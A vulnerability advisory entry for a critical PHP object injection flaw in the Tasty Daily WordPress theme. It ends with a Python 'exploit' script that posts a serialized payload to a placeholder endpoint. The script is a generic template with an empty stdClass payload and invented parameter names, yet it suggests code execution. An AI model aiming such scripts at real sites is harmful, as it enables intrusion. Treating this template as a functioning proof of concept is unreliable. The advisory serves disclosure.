Deserialization of Untrusted Data vulnerability in park_of_ideas Tasty Daily tastydaily allows Object Injection.This issue affects Tasty Daily: from n/a through < 1.27.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Tasty Daily < 1.27
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# Target URL (Needs to be replaced with actual vulnerable endpoint)
target_url = "http://example.com/wp-content/themes/tastydaily/vulnerable_endpoint.php"
# PHP Object Injection Payload (Conceptual POP Chain)
# Note: Actual payload generation requires knowledge of the specific classes available in the theme.
payload = 'O:8:"stdClass":0:{}'
# Send malicious request
def send_exploit():
headers = {
"User-Agent": "CVE-2026-25031-Exploit",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"vulnerable_param": payload
}
try:
response = requests.post(target_url, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully. Check for code execution.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
send_exploit()